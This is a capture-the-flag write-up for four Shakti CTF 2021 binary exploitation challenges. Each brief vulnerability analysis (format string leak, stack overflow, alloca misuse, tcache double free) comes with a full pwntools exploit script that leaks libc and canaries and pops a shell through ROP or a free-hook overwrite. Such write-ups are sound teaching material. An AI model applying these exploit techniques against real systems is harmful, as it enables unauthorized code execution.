0%

2021 Shakti CTF

2021 Shakti CTF Write-up

Birdie (pwnable)

vulnerability

CTF1

First, Check the protection. It is easy to find binary address because of NoPIE.

CTF2

When i analyzed it on IDA, i found that there are two vulnerabilities. The first one is Format String Bug on line 11. And the other is Buffer Overflow on line 13.

CTF3

So i could leak canary and libc addr using Format String Bug. And i could get oneshot because i knew the libc address.

Let’s get the shell.

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

#p = remote('34.121.211.139', 1111)
p = process('./birdie')
e = ELF('./birdie')

context.log_level = 'DEBUG'

main = 0x4007e2
system = e.got['system']
prdi = 0x004008f3
prsi = 0x004008f1

pause()
p.sendafter('name\n','%15$p::%17$p::')
canary = int(p.recvuntil('::')[:-2],16)
libc = int(p.recvuntil('::')[:-2],16)

print hex(canary)
print hex(libc)

libcbase = libc - 0x21bf7
binsh = libcbase + 0x1b3e1a
oneshot = libcbase + 0x4f3d5

payload = ''
payload += 'AAAAAAAA'*9
payload += p64(canary)
payload += 'BBBBBBBB'
payload += p64(oneshot)
p.sendafter('payload\n',payload)

p.interactive()

Signal dROPper (pwnable)

vulnerability

CTF4

Check the protection. No canary, No pie and Partial RELRO. It is easy to overwrite stack buffer.

CTF5

0x6020c0 includes heap address, 0x602120 includes size of heap. It seems like you can allocate up to 12 buffers but not really.

CTF6

If i could overwrite read’s size (0x602120[v4]), the buffer overflow.

CTF7

So i allocated 13 heaps, then i could overwrite the size part (0x602128). lastly i could write on buffer 0x17c16f0 bytes!

It only remain to leak the libc addr and overwrite return address using ROP.

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

#p = remote('34.121.211.139', 2222)
p = process('./chall')
e = ELF('./chall')

context.log_level = 'DEBUG'

addr = 0x6020c0
size = 0x602120

prdi = 0x00400c03
prsi = 0x00400c01
main = 0x400b32

put_plt = e.plt['puts']
put_got = e.got['puts']
read_got = e.plt['read']

def vuln():
p.sendlineafter('Choice > ','1')
p.sendlineafter('to: ','AAAA')

pause()
for i in range(0,13):
vuln()

p.sendlineafter('Choice > ','3')
p.sendlineafter('id: ','1')

payload = ''
payload += 'AAAAAAAA'*9
payload += p64(prdi)
payload += p64(put_got)
payload += p64(put_plt)
payload += p64(0x4008e7)

p.sendlineafter('comments?\n','1')
p.sendlineafter('comments\n',payload)

leak = u64(p.recvn(6)+'\x00\x00')
print hex(leak)
libcbase = leak - 0x80aa0
system = libcbase + 0x4f550
binsh = libcbase + 0x1b3e1a
oneshot = libcbase + 0x10a41c

#p.sendlineafter('Choice > ','3')
p.sendlineafter('id: ','1')

payload = ''
payload += 'AAAAAAAA'*9
payload += p64(prdi)
payload += p64(binsh)
payload += p64(prsi)
payload += p64(0)
payload += p64(0)
payload += p64(system)

p.sendlineafter('comments?\n', '1')
p.sendlineafter('comments\n',payload)

p.interactive()

Returning-2 (pwnable)

vulnerability

CTF8

Check Protection, No canary~

CTF9

It is Buffer overflow vulnerability. and also i could allocate dynamically on stack using alloca functions.

CTF10

I could find that i can make buffer address to read rsp, when the alloca’s size is -30.
Lastly I use ROP to exploit.

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

#p = remote('34.121.211.139', 3333)
p = process('./chall')
e = ELF('./chall')

context.log_level = 'DEBUG'

bss = 0x601500
push_rsp = e.symbols['push_rsp']
mov = 0x0400774
prax = 0x040079a
prdi = 0x040077f
prsi = 0x0400791
prdx = 0x0400788
syscall = 0x04007a3
pause()
p.sendlineafter('input:',str(-30))

payload = ''
payload += 'A'*24
payload += p64(prdi)
payload += p64(bss)
payload += p64(prax)
payload += "/bin/sh\x00"
payload += p64(mov)
payload += p64(prdx)
payload += p64(0)
payload += p64(prsi)
payload += p64(0)
payload += p64(prax)
payload += p64(59)
payload += p64(syscall)

p.sendafter('text:',payload)

pause()
p.recvuntil('bye!')
p.interactive()

Cache_7 (pwnable)

vulnerability

CTF11

I can’t overwrite plt.got because it is FULL RELRO. I am gonna overwrite _hook address.

Let’s analyze the binary.

123

Allocate heap memory here.

456

Free the memory here.

789

And can leak the memory using this.

You know, there is vulnerability about Tcache double free in Ubuntu 18.04 before patching.

And also they gave me the Libc file. It is Libc-2.27, and they gave hint . “Old Ubuntu 18.04”.

1010

I tested about it . First I allocated 0x40 size heap. and free the memory three times. The picture above shows that double free is possible.
There is no protection about double free in Ubuntu 18.04, but it is patched now.

Then it is easy to exploit. I use this vulnerability i can leak the memory and also overwrite _hook address.

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

#p = remote('34.121.211.139',4444)
p = process(['./chall'],env={'LD_PRELOAD':'./libc-2.27.so'})
e = ELF('./chall')

context.log_level = 'DEBUG'

ptr = 0x601050
stdin = 0x601040

def add(size,data):
p.sendlineafter('choice :\n','1')
p.sendlineafter('size\n',str(size))
p.sendlineafter('data\n',str(data))

def view():
p.sendlineafter('choice :\n','2')

def free():
p.sendlineafter('choice :\n','3')

pause()

add(50,'AAAA')
free()
free()
free()
add(50,p64(stdin))
add(50,'CCCC')
add(50,'')
view()
p.recvuntil('inside\n')
leak = u64(p.recvn(6)+"\x00\x00")
leak = leak + 0x76
print hex(leak)

libcbase = leak - 0x3ec680
malloc_hook = libcbase + 0x3ebc30
free_hook = libcbase + 0x3ed8e8
oneshot = libcbase + 0x4f3c2

add(60,'AAAAA')
free()
free()
free()
pause()
add(60,p64(free_hook))
add(60,'AAAA')
add(60,p64(oneshot))
free()

p.interactive()